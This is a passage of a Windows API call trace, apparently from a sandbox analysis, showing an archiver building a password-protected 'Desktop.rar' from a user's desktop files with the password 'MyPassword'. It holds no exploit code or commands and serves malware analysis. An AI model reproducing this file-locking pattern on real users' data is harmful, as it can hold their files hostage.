[0068.469] FindClose (in: hFindFile=0x1ec0de09c50 | out: hFindFile=0x1ec0de09c50) returned 1 [0068.469] CreateFileW (lpFileName="t1UTy\\x ddEQMGCa7.ots" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\x ddeqmgca7.ots"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0068.469] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.469] GetTickCount () returned 0x27015 [0068.469] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0068.470] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0068.470] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.470] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0068.470] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="rjFeGvlijme.swf") returned 15 [0068.470] SetWindowTextW (hWnd=0x1028c, lpString="x ddEQMGCa7.ots") returned 1 [0068.470] GetTickCount () returned 0x27015 [0068.470] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0068.470] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0068.471] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0068.471] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0068.471] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2d, wMilliseconds=0x3c0)) [0068.471] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0068.471] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=15979924793) returned 1 [0068.471] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0xb5a, lpOverlapped=0x0) returned 1 [0068.471] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905b9a, nNumberOfBytesToRead=0xff4a6, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905b9a*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0068.471] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2a60 [0068.471] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2880 [0068.471] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2880, Size=0x48) returned 0x1ec0a656a60 [0068.471] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c540 [0068.471] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2dc0 [0068.471] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2dc0, Size=0x48) returned 0x1ec0a656a10 [0068.471] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c540 | out: hHeap=0x1ec0a590000) returned 1 [0068.471] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a60 | out: hHeap=0x1ec0a590000) returned 1 [0068.471] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2e80 [0068.472] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2c70 [0068.472] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2c70 | out: hHeap=0x1ec0a590000) returned 1 [0068.472] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2e80 | out: hHeap=0x1ec0a590000) returned 1 [0068.472] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2a60, Size=0x48) returned 0x1ec0a6577d0 [0068.472] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64abb0 [0068.472] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656a10 | out: hHeap=0x1ec0a590000) returned 1 [0068.472] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64abb0 | out: hHeap=0x1ec0a590000) returned 1 [0068.474] GetTickCount () returned 0x27015 [0068.474] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=15980231238) returned 1 [0068.474] GetTickCount () returned 0x27015 [0068.474] GetTickCount () returned 0x27015 [0068.474] GetTickCount () returned 0x27015 [0068.474] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.474] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0068.474] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.474] ResetEvent (hEvent=0x344) returned 1 [0068.474] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.997] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.997] ResetEvent (hEvent=0x344) returned 1 [0068.997] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.997] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0068.997] GetTickCount () returned 0x27228 [0068.997] GetLastError () returned 0x0 [0068.997] SetLastError (dwErrCode=0x0) [0068.997] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0068.997] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0068.997] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0068.997] SetWindowTextW (hWnd=0x1028e, lpString=" 100%") returned 1 [0068.998] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0068.998] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16032672563) returned 1 [0068.998] GetTickCount () returned 0x27228 [0068.998] GetTickCount () returned 0x27228 [0068.998] GetTickCount () returned 0x27228 [0068.998] CoCreateInstance (in: rclsid=0x7ff6f75ef5e0*(Data1=0x56fdf344, Data2=0xfd6d, Data3=0x11d0, Data4=([0]=0x95, [1]=0x8a, [2]=0x0, [3]=0x60, [4]=0x97, [5]=0xc9, [6]=0xa0, [7]=0x90)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414dd138 | out: ppv=0xe414dd138*=0x1ec0dde3480) returned 0x0 [0068.998] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0dde3480, hwnd=0x10284, tbpFlags=2) returned 0x0 [0068.999] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0dde3480, hwnd=0x10284, ullCompleted=0x1f417e, ullTotal=0x4f8c9e) returned 0x0 [0069.000] TaskbarList:IUnknown:Release (This=0x1ec0dde3480) returned 0x0 [0069.000] GetLastError () returned 0x36b7 [0069.000] SetLastError (dwErrCode=0x36b7) [0069.000] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0069.000] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0069.000] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 37%") returned 5 [0069.000] SetWindowTextW (hWnd=0x102a4, lpString=" 39%") returned 1 [0069.000] GetLastError () returned 0x0 [0069.000] SetLastError (dwErrCode=0x0) [0069.000] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0069.001] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 95%") returned 5 [0069.001] SetWindowTextW (hWnd=0x102a0, lpString=" 99%") returned 1 [0069.001] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x27, lParam=0x0) returned 0x25 [0069.002] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0069.005] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0069.009] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.009] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0069.009] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.009] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1f4ab2 [0069.009] SetFilePointer (in: hFile=0x32c, lDistanceToMove=103, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1f4b19 [0069.009] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0069.009] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.009] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0069.009] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0069.009] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0069.009] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0xba0, lpOverlapped=0x0) returned 1 [0069.009] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0069.009] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.009] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2050738, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1f4ab2 [0069.009] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1f4ab2 [0069.009] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde3090 [0069.009] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2fa0 [0069.010] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2fa0, Size=0x48) returned 0x1ec0a657140 [0069.010] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c980 [0069.010] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2a00 [0069.010] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2a00, Size=0x48) returned 0x1ec0a656f10 [0069.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c980 | out: hHeap=0x1ec0a590000) returned 1 [0069.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657140 | out: hHeap=0x1ec0a590000) returned 1 [0069.010] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde31e0 [0069.010] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde29d0 [0069.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde29d0 | out: hHeap=0x1ec0a590000) returned 1 [0069.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde31e0 | out: hHeap=0x1ec0a590000) returned 1 [0069.010] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde3090, Size=0x48) returned 0x1ec0a6569c0 [0069.010] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6569c0, Size=0x7a) returned 0x1ec0a649f50 [0069.010] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a649f53*, nNumberOfBytesToWrite=0x67, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a649f53*, lpNumberOfBytesWritten=0xe414d8140*=0x67, lpOverlapped=0x0) returned 1 [0069.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656f10 | out: hHeap=0x1ec0a590000) returned 1 [0069.010] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a649f50 | out: hHeap=0x1ec0a590000) returned 1 [0069.010] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1f56b9 [0069.010] CloseHandle (hObject=0x350) returned 1 [0069.010] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0069.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.010] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0069.010] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.010] FindFirstFileW (in: lpFileName="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls", lpFindFileData=0xe414dc4e0 | out: lpFindFileData=0xe414dc4e0) returned 0x1ec0de09110 [0069.010] FindClose (in: hFindFile=0x1ec0de09110 | out: hFindFile=0x1ec0de09110) returned 1 [0069.015] CreateFileW (lpFileName="t1UTy\\y04cYW4-8JsL5Y8T29Y.xls" (normalized: "c:\\users\\fd1hvy\\desktop\\t1uty\\y04cyw4-8jsl5y8t29y.xls"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0069.015] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0069.015] GetTickCount () returned 0x27238 [0069.015] GetWindowTextW (in: hWnd=0x10284, lpString=0xe414dd340, nMaxCount=512 | out: lpString="Creating archive Desktop.rar") returned 28 [0069.015] GetDlgItem (hDlg=0x10284, nIDDlgItem=156) returned 0x1028a [0069.015] GetWindowTextW (in: hWnd=0x1028a, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="adding") returned 6 [0069.015] GetDlgItem (hDlg=0x10284, nIDDlgItem=155) returned 0x1028c [0069.015] GetWindowTextW (in: hWnd=0x1028c, lpString=0xe414dbef0, nMaxCount=2560 | out: lpString="x ddEQMGCa7.ots") returned 15 [0069.015] SetWindowTextW (hWnd=0x1028c, lpString="y04cYW4-8JsL5Y8T29Y.xls") returned 1 [0069.016] GetTickCount () returned 0x27238 [0069.016] UpdateWindow (hWnd=0x10284) returned 1 [0069.016] PeekMessageW (in: lpMsg=0xe414dd720, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd720) returned 0 [0069.016] CryptAcquireContextW (in: phProv=0xe414dd6d0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xe414dd6d0*=0x1ec0a653e60) returned 1 [0069.016] CryptGenRandom (in: hProv=0x1ec0a653e60, dwLen=0x10, pbBuffer=0xe414dd750 | out: pbBuffer=0xe414dd750) returned 1 [0069.016] CryptReleaseContext (hProv=0x1ec0a653e60, dwFlags=0x0) returned 1 [0069.016] GetSystemTime (in: lpSystemTime=0xe414dd668 | out: lpSystemTime=0xe414dd668*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xd, wSecond=0x2e, wMilliseconds=0x1fa)) [0069.016] SystemTimeToFileTime (in: lpSystemTime=0xe414dd668, lpFileTime=0xe414dd660 | out: lpFileTime=0xe414dd660) returned 1 [0069.017] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd690 | out: lpPerformanceCount=0xe414dd690*=16034515512) returned 1 [0069.017] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d905040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d905040*, lpNumberOfBytesRead=0xe414dd770*=0x14196, lpOverlapped=0x0) returned 1 [0069.017] ReadFile (in: hFile=0x350, lpBuffer=0x1ec0d9191d6, nNumberOfBytesToRead=0xebe6a, lpNumberOfBytesRead=0xe414dd770, lpOverlapped=0x0 | out: lpBuffer=0x1ec0d9191d6*, lpNumberOfBytesRead=0xe414dd770*=0x0, lpOverlapped=0x0) returned 1 [0069.017] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0069.017] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.018] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde31e0 [0069.018] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2af0 [0069.018] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2af0, Size=0x48) returned 0x1ec0a6569c0 [0069.018] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c4c0 [0069.018] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2f40 [0069.018] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2f40, Size=0x48) returned 0x1ec0a657230 [0069.018] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c4c0 | out: hHeap=0x1ec0a590000) returned 1 [0069.018] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6569c0 | out: hHeap=0x1ec0a590000) returned 1 [0069.018] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2a30 [0069.018] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2910 [0069.018] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2910 | out: hHeap=0x1ec0a590000) returned 1 [0069.018] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0dde2a30 | out: hHeap=0x1ec0a590000) returned 1 [0069.018] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde31e0, Size=0x48) returned 0x1ec0a6573c0 [0069.018] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6573c0, Size=0x7a) returned 0x1ec0a64a610 [0069.018] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a657230 | out: hHeap=0x1ec0a590000) returned 1 [0069.018] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a64a610 | out: hHeap=0x1ec0a590000) returned 1 [0069.018] GetTickCount () returned 0x27238 [0069.018] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd5b0 | out: lpPerformanceCount=0xe414dd5b0*=16034671556) returned 1 [0069.018] GetTickCount () returned 0x27238 [0069.018] GetTickCount () returned 0x27238 [0069.018] GetTickCount () returned 0x27238 [0069.018] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0069.018] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 0 [0069.018] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.018] ResetEvent (hEvent=0x344) returned 1 [0069.018] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.020] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.020] ResetEvent (hEvent=0x344) returned 1 [0069.020] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.023] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.023] ResetEvent (hEvent=0x344) returned 1 [0069.023] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.025] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0069.025] GetTickCount () returned 0x27238 [0069.025] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=16035397130) returned 1 [0069.025] GetTickCount () returned 0x27238 [0069.025] GetTickCount () returned 0x27238 [0069.025] GetTickCount () returned 0x27238 [0069.026] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0069.026] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 0 [0069.026] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.026] ResetEvent (hEvent=0x33c) returned 1 [0069.026] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.028] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0069.028] ResetEvent (hEvent=0x33c) returned 1 [0069.028] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0069.029] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0069.029] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0069.029] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.029] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x1f56b9 [0069.029] SetFilePointer (in: hFile=0x32c, lDistanceToMove=113, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x1f572a [0069.029] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0069.030] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0069.030] CryptUnprotectMemory (in: pDataIn=0xe414dccc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dccc0) returned 1 [0069.030] CryptUnprotectMemory (in: pDataIn=0xe414dcdc0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dcdc0) returned 1 [0069.030] CryptUnprotectMemory (in: pDataIn=0xe414dcf40, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0xe414dcf40) returned 1 [0069.030] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x14250, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x14250, lpOverlapped=0x0) returned 1 [0069.036] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 0 [0069.036] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0069.036] SetFilePointer (in: hFile=0x32c, lDistanceToMove=2053817, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x1f56b9 [0069.036] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x1f56b9 [0069.036] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2d60 [0069.036] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2970 [0069.036] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2970, Size=0x48) returned 0x1ec0a6577d0 [0069.036] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0069.036] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0dde2a90 [0069.036] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0dde2a90, Size=0x48) returned 0x1ec0a656ce0 [0069.036] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0069.036] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a6577d0 | out: hHeap=0x1ec0a590000) returned 1 [0069.036] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 